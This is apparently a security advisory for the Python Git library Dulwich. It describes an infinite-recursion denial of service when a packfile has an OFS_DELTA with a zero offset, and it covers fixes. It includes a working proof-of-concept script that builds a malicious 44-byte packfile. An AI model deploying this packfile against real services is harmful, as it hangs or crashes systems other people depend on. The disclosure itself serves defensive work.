---
id: GHSA-35mr-4567-66vg
title: 'Dulwich: Infinite Loop Denial of Service (DoS) in Packfile Object Resolution'
summary: 'Dulwich: Infinite Loop Denial of Service (DoS) in Packfile Object Resolution'
severity: medium
cvss: 6.5
cwe:
  - CWE-835
vendor: dulwich
product: dulwich
ecosystem: pip
affected:
  - dulwich < 1.2.9
patched:
  - dulwich 1.2.9
published: '2026-10-02'
updated: '2026-10-02'
sourceUpdated: '2026-10-02T18:54:40Z'
source: GHSA
sourceUrl: 'https://github.com/advisories/GHSA-35mr-4567-66vg'
references:
  - url: 'https://github.com/jelmer/dulwich/security/advisories/GHSA-35mr-4567-66vg'
  - url: >-
      https://github.com/jelmer/dulwich/commit/d06ffc3e1aff0ea0a32094debead891be0083eb7
  - url: 'https://github.com/jelmer/dulwich/releases/tag/dulwich-1.2.9'
  - url: 'https://github.com/advisories/GHSA-35mr-4567-66vg'
tags:
  - ghsa
  - pip
ingestedAt: '2026-10-02T22:33:09.856Z'
---

## Overview

### Affected file
* `dulwich/pack.py` (Method: `Pack.resolve_object`)

### Description / Summary
A High-severity Denial of Service (DoS) vulnerability exists in the `Pack.resolve_object` method. When resolving an `OFS_DELTA` object, the resolver calculates the base offset using `base_offset = obj_offset - delta_offset`.

If a malicious packfile contains an `OFS_DELTA` object where `delta_offset` is `0`, the calculation `obj_offset - 0` resolves back to the current object's own offset. Because the implementation lacks a depth counter, a "visited" set, or an explicit rejection of `delta_offset == 0`, the resolver enters an infinite recursive loop, exhausting CPU resources and eventually crashing the process.

**Vulnerable Code Breakdown (`dulwich/pack.py`):**
```python
elif obj_type == OFS_DELTA:
    delta_offset = parse_pack_object_offset_at(...)
    base_offset = obj_offset - delta_offset          # VULNERABILITY: Self-reference if delta_offset == 0
    base_type, base_data = self.resolve_object(...)  # VULNERABILITY: Infinite recursion
```

### Potential impact

An attacker can trigger this infinite loop via any operation that walks packfiles (e.g., `dulwich clone`, `fetch`, `cat-file`, or internal `Pack.__getitem__` lookups). 

1. **CPU Exhaustion:** The process will spin at 100% CPU indefinitely.
2. **Denial of Service:** Any service using `dulwich` (web interfaces, CI/CD runners) will hang or crash, preventing legitimate repository access.
3. **Protocol Incompatibility:** This behavior violates the Git packfile specification. The standard `git` C client explicitly guards against this: `if (!base_offset) die("delta offset == 0 is invalid");`.

### POC (Proof of Concept)
The following Python script generates a 44-byte packfile that triggers the loop:

```python
from dulwich.pack import Pack
import struct, zlib, tempfile, os

# Build a single OFS_DELTA entry whose delta_offset is 0
type_ofs_delta = 6
header = bytes([(type_ofs_delta << 4) | 0])
ofs_bytes = bytes([0x00]) # delta_offset = 0
body = zlib.compress(b'')
raw = header + ofs_bytes + body

pack = b'PACK' + struct.pack('>I', 2) + struct.pack('>I', 1) + raw + (b'\x00' * 20)

fd, path = tempfile.mkstemp(suffix='.pack')
os.write(fd, pack); os.close(fd)

# Trigger: This call never returns and spins at 100% CPU
p = Pack(path)
obj = p[list(p.iterobjects())[0]]
```

### Possible solution
1. **Explicit Guard:** Add a check in `Pack.resolve_object` to reject `delta_offset == 0`:
   ```python
   if delta_offset == 0:
       raise CorruptPacksFile("OFS_DELTA has self-referential delta_offset=0")
   ```
2. **Recursion Depth:** Implement a depth limit (e.g., `MAX_DELTA_DEPTH = 50`) to prevent long, non-looping chains of deltas (OFS or REF).

## Affected packages

- `dulwich < 1.2.9`

## Remediation

Upgrade to a patched release:

- `dulwich 1.2.9`
